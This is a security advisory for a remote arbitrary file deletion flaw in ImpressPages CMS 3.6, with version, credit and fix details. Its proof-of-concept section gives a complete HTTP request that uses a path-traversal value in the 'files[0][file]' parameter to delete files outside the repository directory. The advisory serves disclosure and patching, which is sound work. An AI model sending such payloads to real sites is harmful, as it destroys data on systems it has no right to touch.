ImpressPages CMS 'files[0][file]' Parameter Remote Arbitrary File Deletion Vulnerability

BID:63470

Info

ImpressPages CMS 'files[0][file]' Parameter Remote Arbitrary File Deletion Vulnerability

Bugtraq ID: 63470
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Oct 31 2013 12:00AM
Updated: Oct 31 2013 12:00AM
Credit: Gjoko Krstic
Vulnerable: ImpressPages ImpressPages 3.6
Not Vulnerable: ImpressPages ImpressPages 3.7

Exploit / POC

ImpressPages CMS 'files[0][file]' Parameter Remote Arbitrary File Deletion Vulnerability

The following example request is available:

POST /impresspages/ HTTP/1.1
Host: localhost
Proxy-Connection: keep-alive
Content-Length: 387
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://localhost
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.69 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://localhost/impresspages/?cms_action=manage
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Cookie: ses819=k7e9hu9pk4ol4h9l0lbt5q73u1

g=administrator&m=repository&a=deleteFiles&files%5B0%5D%5BfileName%5D=readme.txt&files%5B0%5D%5Bdir%5D=file%2Frepository%2F&files%5B0%5D%5Bfile%5D=/../../../joxy.txt&files%5B0%5D%5Bext%5D=txt&files%5B0%5D%5Bpreview%5D=ip_cms%2Fmodules%2Fadministrator%2Frepository%2Fpublic%2Fadmin%2Ficons%2Fgeneral.png&files%5B0%5D%5Bmodified%5D=1381393098&securityToken=c029f7293955df089676b78af8222d2a

Solution / Fix

ImpressPages CMS 'files[0][file]' Parameter Remote Arbitrary File Deletion Vulnerability

Solution:
Updates are available. Please see the references or vendor advisory for more information.

References

ImpressPages CMS 'files[0][file]' Parameter Remote Arbitrary File Deletion Vulnerability

References:

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